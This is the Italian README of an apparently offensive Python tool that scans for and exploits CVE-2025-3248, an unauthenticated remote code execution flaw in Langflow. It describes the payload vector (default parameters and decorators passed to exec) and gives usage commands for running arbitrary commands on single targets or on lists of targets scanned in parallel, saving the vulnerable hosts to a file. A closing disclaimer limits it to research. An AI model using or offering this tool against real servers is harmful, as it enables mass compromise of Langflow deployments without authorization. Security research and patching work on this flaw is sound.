
Langflow, quando analizza e compila il "codice di verifica" inviato dall'utente, chiama `compile()`/`exec()` di Python senza autenticazione né restrizioni sandbox (e, in fase di compilazione, valuta i parametri predefiniti delle funzioni e i decoratori). Un attaccante può inserire un payload dannoso nei valori predefiniti dei parametri o nei decoratori, eseguendo così istruzioni arbitrarie nel contesto del server (reverse shell, downloader, movimento laterale, ecc.).
Uno strumento Python per scansionare e sfruttare la vulnerabilità CVE-2025-3248, che consente l'esecuzione remota di codice (RCE) nelle applicazioni Langflow.
pip install requests
python cve-2025-3248.py http://target:port
python cve-2025-3248.py http://target:port -c "id"
python cve-2025-3248.py -f urls.txt
python cve-2025-3248.py -f urls.txt -c "whoami"
python cve-2025-3248.py -f urls.txt -t 20 --timeout 15 -v
url: URL del target (esempio: http://10.10.10.1:7860)-f, --file: file contenente l'elenco degli URL, uno per riga-c, --cmd: comando da eseguire (esempio: id, whoami)--timeout: timeout della richiesta, predefinito 10 secondi-t, --threads: numero di thread per la scansione batch, predefinito 10-v, --verbose: modalità dettagliata, mostra le risposte grezzepython cve-2025-3248.py http://192.168.1.100:7860
python cve-2025-3248.py http://192.168.1.100:7860 -c "ls -la"
Crea il file targets.txt:
http://192.168.1.100:7860
http://192.168.1.101:7860
http://192.168.1.102:7860
Poi esegui:
python cve-2025-3248.py -f targets.txt
python cve-2025-3248.py -f targets.txt -c "uname -a" -t 5
[+] esecuzione riuscita[-] errore o fallimento[!] messaggio di avviso[*] output informativoI target scansionati con successo vengono salvati nel file vulnerable_targets.txt o vulnerable_targets_{command}.txt.
Questo strumento è destinato esclusivamente a scopi di ricerca sulla sicurezza e didattici. L'utente è responsabile del proprio utilizzo. Testare sistemi senza autorizzazione può violare leggi e regolamenti.